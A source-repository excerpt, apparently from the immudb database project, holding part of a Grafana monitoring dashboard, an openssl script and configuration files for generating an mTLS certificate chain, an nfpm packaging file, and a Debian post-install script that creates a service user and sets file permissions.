"showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 12, "y": 35 }, "id": 65, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "label_replace(\n rate(immudb_btree_flushed_nodes_total{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval]),\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} {{kind}} nodes ({{instance}})", "refId": "A" } ], "title": "Flush rate - nodes", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 18, "y": 35 }, "id": 67, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "label_replace(\n immudb_btree_flushed_nodes_last_cycle{instance=~\"$instance\",id=~\".*/$db/index\"},\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} {{kind}} nodes ({{instance}})", "refId": "A" } ], "title": "Flush rate - nodes", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 0, "y": 43 }, "id": 53, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "label_replace(\n rate(immudb_btree_compacted_entries_total{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval]),\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Compaction rate - entries", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 6, "y": 43 }, "id": 55, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "label_replace(\n immudb_btree_compacted_entries_last_cycle{instance=~\"$instance\",id=~\".*/$db/index\"},\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "", "refId": "A" } ], "title": "Compaction progress - entries", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 12, "y": 43 }, "id": 57, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "label_replace(\n rate(immudb_btree_compacted_nodes_total{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval]),\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} {{kind}} nodes ({{instance}})", "refId": "A" } ], "title": "Compaction rate - nodes", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 18, "y": 43 }, "id": 59, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "label_replace(\n immudb_btree_compacted_nodes_last_cycle{instance=~\"$instance\",id=~\".*/$db/index\"},\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} {{kind}} nodes ({{instance}})", "refId": "A" } ], "title": "Compaction progress - nodes", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] }, "unit": "bytes" }, "overrides": [] }, "gridPos": { "h": 8, "w": 12, "x": 0, "y": 51 }, "id": 69, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "label_replace(\n immudb_btree_nodes_data_end{instance=~\"$instance\",id=~\".*/$db/index\"}-\n immudb_btree_nodes_data_begin{instance=~\"$instance\",id=~\".*/$db/index\"},\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Nodes data size", "type": "timeseries" } ], "title": "BTree insights", "type": "row" }, { "collapsed": true, "datasource": "${datasource}", "gridPos": { "h": 1, "w": 24, "x": 0, "y": 27 }, "id": 12, "panels": [ { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "thresholds" }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 12, "x": 0, "y": 60 }, "id": 2, "options": { "displayMode": "gradient", "orientation": "auto", "reduceOptions": { "calcs": [ "lastNotNull" ], "fields": "", "values": false }, "showUnfilled": true, "text": {} }, "pluginVersion": "8.3.3", "targets": [ { "datasource": "${datasource}", "exemplar": false, "expr": "sum(immudb_remoteapp_open_time_bucket{instance=~\"$instance\"}) by (le)", "format": "heatmap", "instant": false, "interval": "", "legendFormat": "{{le}}", "refId": "A" } ], "title": "immudb_remoteapp_open_time (sec)", "type": "bargauge" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] }, "unit": "binBps" }, "overrides": [] }, "gridPos": { "h": 8, "w": 12, "x": 12, "y": 60 }, "id": 4, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "pluginVersion": "8.2.1", "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "rate(immudb_remoteapp_read_bytes{instance=~\"$instance\"}[$__rate_interval])", "instant": false, "interval": "", "legendFormat": "{{instance}}", "refId": "A" } ], "title": "S3 I/O", "type": "timeseries" } ], "title": "S3 statistics", "type": "row" } ], "refresh": "", "schemaVersion": 34, "style": "dark", "tags": [], "templating": { "list": [ { "current": { "selected": false, "text": "Prometheus", "value": "Prometheus" }, "hide": 0, "includeAll": false, "multi": false, "name": "datasource", "options": [], "query": "prometheus", "queryValue": "", "refresh": 1, "regex": "", "skipUrlSync": false, "type": "datasource" }, { "allValue": "", "current": { "selected": true, "text": [ "All" ], "value": [ "$__all" ] }, "datasource": "${datasource}", "definition": "label_values(immudb_db_size_bytes, instance)", "hide": 0, "includeAll": true, "label": "Instance", "multi": true, "name": "instance", "options": [], "query": { "query": "label_values(immudb_db_size_bytes, instance)", "refId": "StandardVariableQuery" }, "refresh": 2, "regex": "", "skipUrlSync": false, "sort": 1, "tagValuesQuery": "", "tagsQuery": "", "type": "query", "useTags": false }, { "allValue": "", "current": { "selected": true, "text": [ "All" ], "value": [ "$__all" ] }, "datasource": "${datasource}", "definition": "label_values(immudb_db_size_bytes{instance=~\"$instance\"}, db)", "hide": 0, "includeAll": true, "label": "Database", "multi": true, "name": "db", "options": [], "query": { "query": "label_values(immudb_db_size_bytes{instance=~\"$instance\"}, db)", "refId": "StandardVariableQuery" }, "refresh": 2, "regex": "", "skipUrlSync": false, "sort": 1, "tagValuesQuery": "", "tagsQuery": "", "type": "query", "useTags": false } ] }, "time": { "from": "now-1h", "to": "now" }, "timepicker": {}, "timezone": "", "title": "Immudb", "uid": "Z4nwbT87z", "version": 1, "weekStart": "" } ================================================ FILE: tools/mtls/.gitignore ================================================ 1_root/ 2_intermediate/ 3_application/ 4_client/ verify_cert.log verify_key.log ================================================ FILE: tools/mtls/generate.sh ================================================ #!/bin/bash -e # In this script an intermediate certificate is created from a root certificate if [[ $1 = "cleanup" ]]; then rm -rf 1_root rm -rf 2_intermediate rm -rf 3_application rm -rf 4_client exit 0 fi if [[ $1 = "" ]]; then echo "please specify a domain ./generate.sh www.example.com" exit 1 fi if [[ $2 == "" ]]; then echo "please specify a password for the private key" exit 1 fi export SAN=DNS:$1 echo echo Generate the root key echo --- mkdir -p 1_root/private # Root private key generation. openssl genrsa -aes128 -passout pass:$2 -out 1_root/private/ca.key.pem 3072 chmod 444 1_root/private/ca.key.pem echo echo Generate the root certificate echo --- mkdir -p 1_root/certs mkdir -p 1_root/newcerts touch 1_root/index.txt echo "100212" > 1_root/serial # Certificate request generation # req - PKCS#10 certificate request and certificate generating utility # -config openssl.cnf see file # -new # This option generates a new certificate request. It will prompt the user for the relevant field values. # The actual fields prompted for and their maximum and minimum sizes are specified in the configuration file # and any requested extensions. # - key If the -key option is not used it will generate a new RSA private key using information specified in the # configuration file. # -extensions see openssl.cnf # -subj arg Sets subject name for new request or supersedes the subject name when processing a request. The arg must # be formatted as /type0=value0/type1=value1/type2=..., characters may be escaped by \ (backslash), no # spaces are skipped. # -subj: # Country Name (2 letter code) [AU]:GB # State or Province Name (full name) [Some-State]:. # Locality Name (eg, city) []:London # Organization Name (eg, company) [Internet Widgits Pty Ltd]:Feisty Duck Ltd # Organizational Unit Name (eg, section) []: # Common Name (e.g. server FQDN or YOUR name) []:www.feistyduck.com # Email Address []:webmaster@feistyduck.com # Please enter the following 'extra' attributes # to be sent with your certificate request # A challenge password []: # An optional company name []: openssl req -config openssl.cnf \ -key 1_root/private/ca.key.pem \ -passin pass:$2 \ -new -x509 -days 7300 -sha256 -extensions v3_ca \ -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=$1" \ -out 1_root/certs/ca.cert.pem echo echo Verify root key echo --- # x509 - Certificate display and signing utility # -noout This option prevents output of the encoded version of the request # -text # Prints out the certificate in text form. Full details are output including the public key, signature # algorithms, issuer and subject names, serial number any extensions present and any trust settings. openssl x509 -noout -text -in 1_root/certs/ca.cert.pem echo echo Generate the key for the intermediary certificate echo --- mkdir -p 2_intermediate/private # Intermediate private key openssl genrsa -aes128 \ -passout pass:$2 \ -out 2_intermediate/private/intermediate.key.pem 3072 chmod 444 2_intermediate/private/intermediate.key.pem echo echo Generate the signing request for the intermediary certificate echo --- mkdir -p 2_intermediate/csr # Certificate request # req - PKCS#10 certificate request and certificate generating utility # -config openssl.cnf vedi configurazione allegata # -new # This option generates a new certificate request. It will prompt the user for the relevant field values. # The actual fields prompted for and their maximum and minimum sizes are specified in the configuration file # and any requested extensions. # If the -key option is not used it will generate a new RSA private key using information specified in the # configuration file. openssl req -config openssl.cnf -new -sha256 \ -passin pass:$2 \ -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=$1" \ -key 2_intermediate/private/intermediate.key.pem \ -out 2_intermediate/csr/intermediate.csr.pem echo echo Sign the intermediary echo --- mkdir -p 2_intermediate/certs mkdir -p 2_intermediate/newcerts touch 2_intermediate/index.txt echo "100212" > 2_intermediate/serial # Intermediate certificate sign # The ca command is a minimal CA application. It can be used to sign certificate requests in a variety of forms # and generate CRLs(Certificate Revocation List) it also maintains a text database of issued certificates and their status. # -passin arg The key password source. # -days arg The number of days to certify the certificate for. # -notext Don't output the text form of a certificate to the output file. # -md alg The message digest to use. Any digest supported by the OpenSSL dgst command can be used. This option also applies to # -in filename An input filename containing a single certificate request to be signed by the CA. openssl ca -config openssl.cnf -extensions v3_intermediate_ca \ -passin pass:$2 \ -days 3650 -notext -md sha256 \ -in 2_intermediate/csr/intermediate.csr.pem \ -out 2_intermediate/certs/intermediate.cert.pem chmod 444 2_intermediate/certs/intermediate.cert.pem echo echo Verify intermediary echo --- openssl x509 -noout -text \ -in 2_intermediate/certs/intermediate.cert.pem openssl verify -CAfile 1_root/certs/ca.cert.pem \ 2_intermediate/certs/intermediate.cert.pem echo echo Create the chain file echo --- # Chain file creation cat 2_intermediate/certs/intermediate.cert.pem \ 1_root/certs/ca.cert.pem > 2_intermediate/certs/ca-chain.cert.pem chmod 444 2_intermediate/certs/ca-chain.cert.pem echo echo Create the application key echo --- mkdir -p 3_application/private # Server private key openssl genrsa \ -passout pass:$2 \ -out 3_application/private/$1.key.pem 3072 chmod 444 3_application/private/$1.key.pem echo echo Create the application signing request echo --- mkdir -p 3_application/csr # Server certificate request is created from intermediate cert -> intermediate_openssl.cnf # req - PKCS#10 certificate request and certificate generating utility # -config openssl.cnf vedi configurazione allegata # -new # This option generates a new certificate request. It will prompt the user for the relevant field values. # The actual fields prompted for and their maximum and minimum sizes are specified in the configuration file # and any requested extensions. # If the -key option is not used it will generate a new RSA private key using information specified in the # configuration file. # -subj arg Sets subject name for new request or supersedes the subject name when processing a request. The arg must # be formatted as /type0=value0/type1=value1/type2=..., characters may be escaped by \ (backslash), no # spaces are skipped. # -subj: # Country Name (2 letter code) [AU]:GB # State or Province Name (full name) [Some-State]:. # Locality Name (eg, city) []:London # Organization Name (eg, company) [Internet Widgits Pty Ltd]:Feisty Duck Ltd # Organizational Unit Name (eg, section) []: # Common Name (e.g. server FQDN or YOUR name) []:www.feistyduck.com # Email Address []:webmaster@feistyduck.com # Please enter the following 'extra' attributes # to be sent with your certificate request # A challenge password []: # An optional company name []: openssl req -config intermediate_openssl.cnf \ -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=$1" \ -passin pass:$2 \ -key 3_application/private/$1.key.pem \ -new -sha256 -out 3_application/csr/$1.csr.pem echo echo Create the application certificate echo --- mkdir -p 3_application/certs # Server certificate sign from intermediate # The ca command is a minimal CA application. It can be used to sign certificate requests in a variety of forms # and generate CRLs(Certificate Revocation List) it also maintains a text database of issued certificates and their status. # -passin arg The key password source. # -days arg The number of days to certify the certificate for. # -notext Don't output the text form of a certificate to the output file. # -md alg The message digest to use. Any digest supported by the OpenSSL dgst command can be used. This option also applies to # -in filename An input filename containing a single certificate request to be signed by the CA. openssl ca -config intermediate_openssl.cnf \ -passin pass:$2 \ -extensions server_cert -days 375 -notext -md sha256 \ -in 3_application/csr/$1.csr.pem \ -out 3_application/certs/$1.cert.pem chmod 444 3_application/certs/$1.cert.pem echo echo Validate the certificate echo --- openssl x509 -noout -text \ -in 3_application/certs/$1.cert.pem echo echo Validate the certificate has the correct chain of trust echo --- openssl verify -CAfile 2_intermediate/certs/ca-chain.cert.pem \ 3_application/certs/$1.cert.pem echo echo Generate the client key echo --- mkdir -p 4_client/private # Create Client key openssl genrsa \ -passout pass:$2 \ -out 4_client/private/$1.key.pem 3072 chmod 444 4_client/private/$1.key.pem echo echo Generate the client signing request echo --- mkdir -p 4_client/csr # Client certification is created from intermediate cert -> intermediate_openssl.cnf # req - PKCS#10 certificate request for client openssl req -config intermediate_openssl.cnf \ -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=$1" \ -passin pass:$2 \ -key 4_client/private/$1.key.pem \ -new -sha256 -out 4_client/csr/$1.csr.pem echo echo Create the client certificate echo --- mkdir -p 4_client/certs # Client certificate sign from intermediate # The ca command is a minimal CA application. It can be used to sign certificate requests in a variety of forms # and generate CRLs(Certificate Revocation List) it also maintains a text database of issued certificates and their status. # -passin arg The key password source. # -days arg The number of days to certify the certificate for. # -notext Don't output the text form of a certificate to the output file. # -md alg The message digest to use. Any digest supported by the OpenSSL dgst command can be used. This option also applies to # -in filename An input filename containing a single certificate request to be signed by the CA. openssl ca -config intermediate_openssl.cnf \ -passin pass:$2 \ -extensions usr_cert -days 375 -notext -md sha256 \ -in 4_client/csr/$1.csr.pem \ -out 4_client/certs/$1.cert.pem chmod 444 4_client/certs/$1.cert.pem ================================================ FILE: tools/mtls/intermediate_openssl.cnf ================================================ [ ca ] # `man ca` default_ca = CA_default [ CA_default ] # Directory and file locations. dir = 2_intermediate certificate = $dir/certs/intermediate.cert.pem certs = $dir/certs crl_dir = $dir/crl crl = $dir/crl/intermediate.crl.pem new_certs_dir = $dir/newcerts database = $dir/index.txt serial = $dir/serial RANDFILE = $dir/private/.rand private_key = $dir/private/intermediate.key.pem policy = policy_loose unique_subject = no # For certificate revocation lists. crlnumber = $dir/crlnumber crl_extensions = crl_ext default_crl_days = 30 # SHA-1 is deprecated, so use SHA-2 instead. default_md = sha256 name_opt = ca_default cert_opt = ca_default default_days = 375 preserve = no [ policy_strict ] # The root CA should only sign intermediate certificates that match. # See the POLICY FORMAT section of `man ca`. countryName = match stateOrProvinceName = match organizationName = match organizationalUnitName = optional commonName = supplied emailAddress = optional [ policy_loose ] # Allow the intermediate CA to sign a more diverse range of certificates. # See the POLICY FORMAT section of the `ca` man page. countryName = optional stateOrProvinceName = optional localityName = optional organizationName = optional organizationalUnitName = optional commonName = supplied emailAddress = optional [ req ] # Options for the `req` tool (`man req`). default_bits = 2048 distinguished_name = req_distinguished_name string_mask = utf8only # SHA-1 is deprecated, so use SHA-2 instead. default_md = sha256 # Extension to add when the -x509 option is used. x509_extensions = v3_ca [ req_distinguished_name ] # See . countryName = Country Name (2 letter code) stateOrProvinceName = State or Province Name localityName = Locality Name 0.organizationName = Organization Name organizationalUnitName = Organizational Unit Name commonName = Common Name emailAddress = Email Address # Optionally, specify some defaults. countryName_default = GB stateOrProvinceName_default = England localityName_default = 0.organizationName_default = Alice Ltd commonName_default = localhost #organizationalUnitName_default = #emailAddress_default = [ v3_ca ] # Extensions for a typical CA (`man x509v3_config`). subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always,issuer basicConstraints = critical, CA:true keyUsage = critical, digitalSignature, cRLSign, keyCertSign subjectAltName = $ENV::SAN [ usr_cert ] # Extensions for client certificates (`man x509v3_config`). basicConstraints = CA:FALSE nsCertType = client, email nsComment = "OpenSSL Generated Client Certificate" subjectKeyIdentifier = hash authorityKeyIdentifier = keyid,issuer keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment extendedKeyUsage = clientAuth, emailProtection [ v3_intermediate_ca ] # Extensions for a typical intermediate CA (`man x509v3_config`). subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always,issuer basicConstraints = critical, CA:true, pathlen:0 keyUsage = critical, digitalSignature, cRLSign, keyCertSign subjectAltName = $ENV::SAN [ server_cert ] # Extensions for server certificates (`man x509v3_config`). basicConstraints = CA:FALSE nsCertType = server nsComment = "OpenSSL Generated Server Certificate" subjectKeyIdentifier = hash authorityKeyIdentifier = keyid,issuer:always keyUsage = critical, digitalSignature, keyEncipherment extendedKeyUsage = serverAuth subjectAltName = $ENV::SAN [ crl_ext ] # Extension for CRLs (`man x509v3_config`). authorityKeyIdentifier=keyid:always [ ocsp ] # Extension for OCSP signing certificates (`man ocsp`). basicConstraints = CA:FALSE subjectKeyIdentifier = hash authorityKeyIdentifier = keyid,issuer keyUsage = critical, digitalSignature extendedKeyUsage = critical, OCSPSigning ================================================ FILE: tools/mtls/openssl.cnf ================================================ [ ca ] # `man ca` default_ca = CA_default [ CA_default ] # Directory and file locations. dir = 1_root certs = $dir/certs crl_dir = $dir/crl new_certs_dir = $dir/newcerts database = $dir/index.txt serial = $dir/serial RANDFILE = $dir/private/.rand unique_subject = no # The root key and root certificate. private_key = $dir/private/ca.key.pem certificate = $dir/certs/ca.cert.pem # For certificate revocation lists. crlnumber = $dir/crlnumber crl = $dir/crl/ca.crl.pem crl_extensions = crl_ext default_crl_days = 30 # SHA-1 is deprecated, so use SHA-2 instead. default_md = sha256 name_opt = ca_default cert_opt = ca_default default_days = 375 preserve = no policy = policy_strict [ policy_strict ] # The root CA should only sign intermediate certificates that match. # See the POLICY FORMAT section of `man ca`. countryName = match stateOrProvinceName = match organizationName = match organizationalUnitName = optional commonName = supplied emailAddress = optional [ policy_loose ] # Allow the intermediate CA to sign a more diverse range of certificates. # See the POLICY FORMAT section of the `ca` man page. countryName = optional stateOrProvinceName = optional localityName = optional organizationName = optional organizationalUnitName = optional commonName = supplied emailAddress = optional [ req ] # Options for the `req` tool (`man req`). default_bits = 2048 distinguished_name = req_distinguished_name string_mask = utf8only # SHA-1 is deprecated, so use SHA-2 instead. default_md = sha256 # Extension to add when the -x509 option is used. x509_extensions = v3_ca [ req_distinguished_name ] # See . countryName = Country Name (2 letter code) stateOrProvinceName = State or Province Name localityName = Locality Name 0.organizationName = Organization Name organizationalUnitName = Organizational Unit Name commonName = Common Name emailAddress = Email Address # Optionally, specify some defaults. countryName_default = GB stateOrProvinceName_default = England localityName_default = 0.organizationName_default = Alice Ltd commonName_default = localhost #organizationalUnitName_default = #emailAddress_default = [ v3_ca ] # Extensions for a typical CA (`man x509v3_config`). subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always,issuer basicConstraints = critical, CA:true keyUsage = critical, digitalSignature, cRLSign, keyCertSign subjectAltName = $ENV::SAN [ usr_cert ] # Extensions for client certificates (`man x509v3_config`). basicConstraints = CA:FALSE nsCertType = client, email nsComment = "OpenSSL Generated Client Certificate" subjectKeyIdentifier = hash authorityKeyIdentifier = keyid,issuer keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment extendedKeyUsage = clientAuth, emailProtection subjectAltName = @alt_names [ v3_intermediate_ca ] # Extensions for a typical intermediate CA (`man x509v3_config`). subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always,issuer basicConstraints = critical, CA:true, pathlen:0 keyUsage = critical, digitalSignature, cRLSign, keyCertSign subjectAltName = $ENV::SAN [ server_cert ] # Extensions for server certificates (`man x509v3_config`). basicConstraints = CA:FALSE nsCertType = server nsComment = "OpenSSL Generated Server Certificate" subjectKeyIdentifier = hash authorityKeyIdentifier = keyid,issuer:always keyUsage = critical, digitalSignature, keyEncipherment extendedKeyUsage = serverAuth [ crl_ext ] # Extension for CRLs (`man x509v3_config`). authorityKeyIdentifier=keyid:always [ ocsp ] # Extension for OCSP signing certificates (`man ocsp`). basicConstraints = CA:FALSE subjectKeyIdentifier = hash authorityKeyIdentifier = keyid,issuer keyUsage = critical, digitalSignature extendedKeyUsage = critical, OCSPSigning ================================================ FILE: tools/packaging/conf/nfpm.yaml ================================================ name: "immudb" arch: "amd64" platform: "linux" version: "${VERSION}" section: "default" priority: "extra" replaces: - immudb provides: - immudb - immugw - immuclient depends: - adduser maintainer: "" description: | immudb - the tamperproof database vendor: "Codenotary Inc." homepage: "https://github.com/codenotary/immudb" license: "Apache 2" bindir: "/usr/sbin" files: "./bin/immudb": "/usr/sbin/immudb" "./bin/immugw": "/usr/sbin/immugw" "./bin/immuclient": "/usr/local/bin/immuclient" config_files: ./packaging/deb/init.d/immudb: "/etc/init.d/immudb" ./packaging/deb/init.d/immugw: "/etc/init.d/immugw" ./packaging/deb/default/immudb: "/etc/default/immudb" ./packaging/deb/default/immugw: "/etc/default/immugw" ./packaging/deb/default/immudb.toml.dist: "/etc/immudb/immudb.toml" ./packaging/deb/default/immugw.toml.dist: "/etc/immudb/immugw.toml" ./packaging/deb/default/immuclient.toml.dist: "/etc/immudb/immuclient.toml" ./packaging/deb/systemd/immudb.service: "/usr/lib/systemd/system/immudb.service" ./packaging/deb/systemd/immugw.service: "/usr/lib/systemd/system/immugw.service" ./packaging/deb/man/immuclient.1: "/usr/local/share/man/man1" ./packaging/deb/man/immudb.1: "/usr/local/share/man/man1" ./packaging/deb/man/immugw.1: "/usr/local/share/man/man1" overrides: rpm: scripts: postinstall: ./packaging/rpm/control/postinst deb: scripts: postinstall: ./packaging/deb/control/postinst ================================================ FILE: tools/packaging/deb/control/postinst ================================================ #!/bin/sh set -e [ -f /etc/default/immudb ] && . /etc/default/immudb IS_UPGRADE=false case "$1" in configure) [ -z "$IMMU_USER" ] && IMMU_USER="immu" [ -z "$IMMU_GROUP" ] && IMMU_GROUP="immu" if ! getent group "$IMMU_GROUP" > /dev/null 2>&1 ; then addgroup --system "$IMMU_GROUP" --quiet fi if ! id $IMMU_USER > /dev/null 2>&1 ; then adduser --system --home /usr/share/immudb --no-create-home \ --ingroup "$IMMU_GROUP" --disabled-password --shell /bin/false \ "$IMMU_USER" fi # Set user permissions on /var/log/immudb, /var/lib/immudb mkdir -p /var/log/immudb /var/lib/immudb /etc/immudb /usr/share/immudb chown -R $IMMU_USER:$IMMU_GROUP /var/log/immudb /var/lib/immudb /usr/share/immudb chmod 755 /var/log/immudb /var/lib/immudb /usr/share/immudb chmod +x /usr/sbin/immudb chmod +x /usr/sbin/immugw chmod +x /usr/local/bin/immuclient # rebuild manpages mandb -q # configuration files should not be modifiable by immu user, as this can be a security issue chown -Rh root:$IMMU_GROUP /etc/immudb chmod 755 /etc/immudb find /etc/immudb -type f -exec chmod 640 {} ';' find /etc/immudb -type d -exec chmod 755 {} ';' # If $1=configure and $2 is set, this is an upgrade if [ "$2" != "" ]; then IS_UPGRADE=true fi if [ "x$IS_UPGRADE" != "xtrue" ]; then if command -v systemctl >/dev/null; then echo "### NOT starting on installation, please execute the following statements to configure immudb to start automatically using systemd" echo " sudo /bin/systemctl daemon-reload" echo " sudo /bin/systemctl enable immudb" echo " sudo /bin/systemctl enable immugw" echo "### You can start immudb by executing" echo " sudo /bin/systemctl start immudb" echo " sudo /bin/systemctl start immugw" elif command -v update-rc.d >/dev/null; then echo "### NOT starting immudb by default on bootup, please execute" echo " sudo update-rc.d immudb defaults 95 10" echo " sudo update-rc.d immugw defaults 95 10" echo "### In order to start immudb, execute" echo " sudo service immudb start" echo " sudo service immugw start" fi elif [ "$RESTART_ON_UPGRADE" = "true" ]; then echo -n "Restarting immudb services..." if command -v systemctl >/dev/null; then systemctl daemon-reload systemctl restart immudb || true systemctl restart immugw || true elif [ -x /etc/init.d/immudb ]; then if command -v invoke-rc.d >/dev/null; then invoke-rc.d immudb restart || true invoke-rc.d immugw restart || true else /etc/init.d/immudb restart || true /etc/init.d/immugw restart || true fi fi echo " OK" fi ;; esac ================================================ FILE: 